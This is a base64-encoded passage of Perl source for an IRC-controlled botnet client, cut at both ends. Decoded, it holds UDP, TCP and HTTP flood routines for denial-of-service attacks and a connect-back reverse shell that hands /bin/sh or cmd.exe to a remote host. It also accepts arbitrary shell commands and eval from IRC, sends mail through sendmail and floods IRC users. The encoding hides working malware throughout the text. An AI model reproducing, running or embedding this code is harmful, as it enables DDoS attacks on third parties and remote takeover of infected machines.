KCRmdW5jYXJnID1+IC9edWRwMVxzKyguKilccysoXGQrKVxzKyhcZCspLykgew0KICAgIHJldHVybiB1bmxlc3MgJHBhY290ZXM7DQogICAgc29ja2V0KFRyMHgsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KTsNCiAgICBteSAkYWx2bz1pbmV0X2F0b24oIiQxIik7DQogICAgbXkgJHBvcnRhID0gIiQyIjsNCiAgICBteSAkZHRpbWUgPSAiJDMiOw0KICAgIG15ICRwYWNvdGU7DQogICAgbXkgJHBhY290ZXNlOw0KCW15ICRzaXplID0gMDsNCiAgICBteSAkZmltID0gdGltZSArICRkdGltZTsNCiAgICBteSAkcGFjb3RhID0gMTsNCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1VEUC0xIERET1NdAiADOSwxQXR0YWNraW5nIAMxMiIuJDEuIiADOSwxT24gUG9ydCADMTIiLiRwb3J0YS4iIAM5LDFmb3IgAzEyIi4kZHRpbWUuIiADOSwxc2Vjb25kcy4gAyIpOw0KCXdoaWxlICgoJHBhY290YSA9PSAiMSIpICYmICgkcGFjb3RlcyA9PSAiMSIpKSB7DQogICAgICAgICAgICAkcGFjb3RhID0gMCBpZiAoKHRpbWUgPj0gJGZpbSkgJiYgKCRkdGltZSAhPSAiMCIpKTsNCiAgICAgICAgICAgICRwYWNvdGUgPSAkc2l6ZSA/ICRzaXplIDogaW50KHJhbmQoMTAyNC02NCkrNjQpIDsNCiAgICAgICAgICAgICRwb3J0YSA9IGludChyYW5kIDY1MDAwKSArMSBpZiAoJHBvcnRhID09ICIwIik7DQogICAgICAgICAgICAjc2VuZChUcjB4LCAwLCAkcGFjb3RlLCBzb2NrYWRkcl9pbigkcG9ydGEsICRhbHZvKSk7DQogICAgICAgICAgICBzZW5kKFRyMHgsIHBhY2soImEkcGFjb3RlIiwiVHIweCIpLCAwLCBwYWNrX3NvY2thZGRyX2luKCRwb3J0YSwgJGFsdm8pKTsNCiAgICAgICAgICAgIH0NCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZN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clxuSG9zdDogIi4kMS4iXHJcbkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuXHJcbiI7DQoJY2xvc2UoJHNvY2tldCk7DQp9DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIVFRQIERET1NdAiADOSwxQXR0YWNraW5nIGVuZGVkIG9uOiADMTIiLiQxLiIDOSwxLiADIik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9eY2JhY2tccysoLiopXHMrKFxkKykvKSB7DQoJbXkgJGhvc3QgPSAiJDEiOw0KCW15ICRwb3J0ID0gIiQyIjsNCglteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7DQoJbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRob3N0KTsNCglteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKTsNCglteSAkc2hlbGwgPSAiL2Jpbi9zaCAtaSI7DQppZiAoJF5PIGVxICJNU1dpbjMyIikgew0KCSRzaGVsbCA9ICJjbWQuZXhlIjsNCn0NCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0Nvbm5lY3RCYWNrXQIgAzksMUNvbm5lY3RpbmcgdG8gAzEyJGhvc3Q6JHBvcnQgAyIpOw0KCXNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIG9yIGRpZSAic29ja2V0OiAkISI7DQoJY29ubmVjdChTT0NLRVQsICRwYWRkcikgb3IgZGllICJjb25uZWN0OiAkISI7DQoJb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQoJb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0KCW9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCglzeXN0ZW0oIiRzaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9ebWFpbFxzKyguKilccysoLiopXHMrKC4qKVxzKyguKikvKSB7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtNYWlsZXJdAiADOSwxU2VuZGluZyBlbWFpbCB0bzogAzEyJDMgAyIpOw0KCSRzdWJqZWN0ID0gJDE7DQoJJHNlbmRlciA9ICQyOw0KCSRyZWNpcGllbnQgPSAkMzsNCglAY29ycG8gPSAkNDsNCgkkbWFpbHR5cGUgPSAiY29udGVudC10eXBlOiB0ZXh0L2h0bWwiOw0KCSRzZW5kbWFpbCA9ICcvdXNyL3NiaW4vc2VuZG1haWwnOw0KCW9wZW4gKFNFTkRNQUlMLCAifCAkc2VuZG1haWwgLXQiKTsNCglwcmludCBTRU5ETUFJTCAiJG1haWx0eXBlXG4iOw0KCXByaW50IFNFTkRNQUlMICJTdWJqZWN0OiAkc3ViamVjdFxuIjsNCglwcmludCBTRU5ETUFJTCAiRnJvbTogJHNlbmRlclxuIjsNCglwcmludCBTRU5ETUFJTCAiVG86ICRyZWNpcGllbnRcblxuIjsNCglwcmludCBTRU5ETUFJTCAiQGNvcnBvXG5cbiI7DQoJY2xvc2UgKFNFTkRNQUlMKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW01haWxlcl0CIAM5LDFFbWFpbCBTZW5kZWQgdG86IAMxMiRyZWNpcGllbnQgAyIpOw0KfQ0KZXhpdDsNCn0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15jdGNwZmxvb2QgKC4qKS8pIHsNCiAgICBteSAkdGFyZ2V0ID0gIiQxIjsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0lSQ0Zsb29kXQIgAzksMUNUQ1AgRmxvb2Rpbmc6IAMxMiIuJHRhcmdldC4iIAMiKTsNCglmb3IgKDEuLjEwKSB7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICIuJHRhcmdldC4iIDpcMDAxVkVSU0lPTlwwMDFcbiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0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ICAgICBvcCgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmRlb3AvKSB7DQogICAgICBkZW9wKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAiZGVvcCI7DQogICAgICBteSAkb2FyZyA9IHN1YnN0cigkY2FzZSwgNSk7DQogICAgICBkZW9wKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9edm9pY2UvKSB7DQogICAgICB2b2ljZSgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgInZvaWNlIjsNCiAgICAgICRvYXJnID0gc3Vic3RyKCRjYXNlLCA2KTsNCiAgICAgIHZvaWNlKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZGV2b2ljZS8pIHsNCiAgICAgIGRldm9pY2UoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJkZXZvaWNlIjsNCiAgICAgICRvYXJnID0gc3Vic3RyKCRjYXNlLCA4KTsNCiAgICAgIGRldm9pY2UoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15tc2dccysoXFMrKSAoLiopLykgew0KICAgICAgbXNnKCIkMSIsICIkMiIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7DQogICAgICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsNCiAgICAgICAgbXNnKCIkMiIsICIkMyIpOw0KICAgICAgfQ0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eY3RjcFxzKyhcUyspICguKikvKSB7DQogICAgICBjdGNwKCIkMSIsICIkMiIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eY3RjcGZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgew0KICAgICAgZm9yIChteSAkY2YgPSAxOyAkY2YgPD0gJDE7ICRjZisrKSB7DQogICAgICAgIGN0Y3AoIiQyIiwgIiQzIik7DQogICAgICB9DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15pbnZpdGVccysoXFMrKSAoLiopLykgew0KICAgICAgaW52aXRlKCIkMSIsICIkMiIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ebmV3ZXJ2ZXJccysoXFMrKVxzKyhcUyspLykgew0KICAgICAgIGNvbmVjdGFyKCIkMiIsICIkMSIsICI2NjY3Iik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15uaWNrICguKikvKSB7DQogICAgICBuaWNrKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecmF3ICguKikvKSB7DQogICAgICBzZW5kcmF3KCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZXZhbCAoLiopLykgew0KICAgICAgZXZhbCAiJDEiOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eam9pblxzKyhcUyspXHMrKFxkKykvKSB7DQogICAgc2xlZXAgaW50KHJhbmQoJDIpKTsNCiAgICBqKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecGFydFxzKyhcUyspXHMrKFxkKykvKSB7DQogICAgc2xlZXAgaW50KHJhbmQoJDIpKTsNCiAgICBwKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecXVpdC8pIHsNCiAgICAgcXVpdCgpOw0KICAgfQ0KfQ0KIyMjIyMjIyMjIyMjIyMNCnN1YiBzaGVsbCB7DQpteSAkcHJpbnRsPSRfWzBdOw0KbXkgJGNvbWFuZG89JF9bMV07DQppZiAoJGNvbWFuZG8gPX4gL2NkICguKikvKSB7DQoJY2hkaXIoIiQxIikgfHwgbXNnKCIkcHJpbnRsIiwgIk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkiKTsNCglyZXR1cm47DQp9IGVsc2lmICgkcGlkID0gZm9yaykgew0KCXdhaXRwaWQoJHBpZCwgMCk7DQp9IGVsc2Ugew0KaWYgKGZvcmspIHsNCglleGl0Ow0KfSBlbHNlIHsNCm15IEByZXNwPWAkY29tYW5kbyAyPiYxIDM+JjFgOw0KbXkgJGM9MDsNCmZvcmVhY2ggbXkgJGxpbmhhIChAcmVzcCkgew0KICAkYysrOw0KICBjaG9wICRsaW5oYTsNCiAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOiRsaW5oYSIpOw0KICBpZiAoJGMgPT0gIiRsaW5hc19tYXgiKSB7DQogICAgJGM9MDsNCiAgICBzbGVlcCAkc2xlZXA7DQogIH0NCn0NCmV4aXQ7DQp9DQp9DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIHVkcGZsb29kZXIgew0KbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsNCm15ICRtc2cgPSAnQScgeCAkX1sxXTsNCm15ICRmdGltZSA9ICRfWzJdOw0KbXkgJGNwID0gMDsNCm15ICglcGFjb3Rlcyk7DQoJJHBhY290ZXN7aWNtcH0gPSAkcGFjb3Rlc3tpZ21wfSA9ICRwYWNvdGVze3VkcH0gPSAkcGFjb3Rlc3tvfSA9ICRwYWNvdGVze3RjcH0gPSAwOw0KCXNvY2tldChTT0NLMSwgUEZfSU5FVCwgU09DS19SQVcsIDIpIG9yICRjcCsrOw0KCXNvY2tldChTT0NLMiwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpIG9yICRjcCsrOw0KCXNvY2tldChTT0NLMywgUEZfSU5FVCwgU09DS19SQVcsIDEpIG9yICRjcCsrOw0KCXNvY2tldChTT0NLNCwgUEZfSU5FVCwgU09DS19SQVcsIDYpIG9yICRjcCsrOw0KCXJldHVybih1bmRlZikgaWYgJGNwID09IDQ7DQpteSAkaXRpbWUgPSB0aW1lOw0KbXkgKCRjdXJfdGltZSk7DQoJd2hpbGUgKCAxICkgew0KZm9yIChteSAkcG9ydCA9IDE7DQoJJHBvcnQgPD0gNjUwMDA7ICRwb3J0KyspIHsNCgkkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KCXNlbmQoU09DSzEsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7aWdtcH0rKzsNCglzZW5kKFNPQ0syLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze3VkcH0rKzsNCglzZW5kKFNPQ0szLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2ljbXB9Kys7DQoJc2VuZChTT0NLNCwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3t0Y3B9Kys7DQpmb3IgKG15ICRwYyA9IDM7DQoJJHBjIDw9IDI1NTskcGMrKykgew0KbmV4dCBpZiAkcGMgPT0gNjsNCgkkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KCXNvY2tldChTT0NLNSwgUEZfSU5FVCwgU09DS19SQVcsICRwYykgb3IgbmV4dDsNCglzZW5kKFNPQ0s1LCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze299Kys7DQp9DQp9DQpsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7DQp9DQpyZXR1cm4oJGN1cl90aW1lLCAlcGFjb3Rlcyk7DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIHRjcGZsb29kZXIgew0KbXkgJGl0aW1lID0gdGltZTsNCm15ICgkY3VyX3RpbWUpOw0KbXkgKCRpYSwkcGEsJHByb3RvLCRqLCRsLCR0KTsNCgkkaWE9aW5ldF9hdG9uKCRfWzBdKTsNCgkkcGE9c29ja2FkZHJfaW4oJF9bMV0sJGlhKTsNCgkkZnRpbWU9JF9bMl07DQoJJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCgkkaj0wOyRsPTA7DQoJJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCndoaWxlICgkbDwxMDAwKXsNCgkkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KCSR0PSJTT0NLJGwiOw0KCXNvY2tldCgkdCxQRl9JTkVULFNPQ0tfU1RSRUFNLCRwcm90byk7DQoJY29ubmVjdCgkdCwkcGEpfHwkai0tOw0KCSRqKys7JGwrKzsNCn0NCgkkbD0wOw0Kd2hpbGUgKCRsPDEwMDApew0KCSRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7DQpsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7DQoJJHQ9IlNPQ0skbCI7DQpzaHV0ZG93bigkdCwyKTsNCgkkbCsrOw0KfQ0KfQ0KIyMjIyMjIyMjIyMjIyMNCnN1YiBtc2cgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOiRfWzFdIik7DQp9DQpzdWIgY3RjcCB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiUFJJVk1TRyAkX1swXSA6XDAwMSRfWzFdXDAwMSIpOw0KfQ0Kc3ViIG5vdGljZSB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiTk9USUNFICRfWzBdIDokX1sxXSIpOw0KfQ0Kc3ViIG9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdICtvICRfWzFdIik7DQp9DQpzdWIgZGVvcCB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiTU9ERSAkX1swXSAtbyAkX1sxXSIpOw0KfQ0Kc3ViIHZvaWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdICt2ICRfWzFdIik7DQp9DQpzdWIgZGV2b2ljZSB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiTU9ERSAkX1swXSAtdiAkX1sxXSIpOw0KfQ0Kc3ViIGogeyAmam9pbihAXyk7IH0NCnN1YiBqb2luIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDA7DQogICBzZW5kcmF3KCJKT0lOICRfWzBdIik7DQp9DQpzdWIgcCB7IHBhcnQoQF8pOyB9DQpzdWIgcGFydCB7c2VuZHJhdygiUEFSVCAkX1swXSIpO30NCnN1YiBuaWNrIHsNCiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgc2VuZHJhdygiTklDSyAkX1swXSIpOw0KfQ0Kc3ViIHF1aXQgew0KICBzZW5kcmF3KCJRVUlUIDokX1swXSIpOw0KICBleGl0Ow0KfQ0Kc3ViIG1vZG8gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gJF9bMV0iKTsNCn0NCn